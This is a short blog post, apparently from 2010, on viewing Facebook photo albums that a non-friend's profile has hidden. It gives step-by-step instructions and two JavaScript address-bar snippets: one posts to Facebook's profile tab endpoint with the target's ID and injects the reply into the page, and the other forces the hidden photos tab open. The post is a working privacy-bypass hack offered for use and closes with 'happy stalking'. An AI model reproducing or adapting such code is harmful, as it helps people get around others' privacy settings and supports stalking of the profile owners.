View Facebook Private Photos/Album

The word private here means that facebook photos/album belong to those profile that are not listed on our friendslist but the privacy setting is set to everyone and the photos tab is hidden. Using this trick below we can reveal the album links. OK, lets try it using my profile as an example :

- Login your facebook account
- Go to this profile
(make sure it’s not on your friendlist)
  as you can see there’s no photos tab available to click
- Put this code on the addressbar, then press enter :

CODE:
javascript:function y(){if(x.readyState==4){q=x.responseText.substring(9);p=eval('('+q+')');$('right_column').innerHTML=p.payload.tab_content;}}x=window.XMLHttpRequest?new window.XMLHttpRequest:(window.ActiveXObject?new ActiveXObject("MSXML2.XMLHTTP"):null);x.onreadystatechange=y;x.open('POST','//www.facebook.com/ajax/profile/tab.php',true);x.send('id='+ProfileURIController._profileId+'&v=photos&__a=1');void(0)


- Wait a second then you will see some links to the photo albums
screenshot:

happy stalking
Update :
New shorter javascript hack to do this trick found on march 2010, here’s the code

CODE:
javascript:(function(){CSS.removeClass(document.body,'profile_two_columns'); tab_controller.changePage('photos');})()


Source : http://theharmonyguy.com/2010/03/15/new-trick-to-view-hidden-facebook-photos-and-tabs/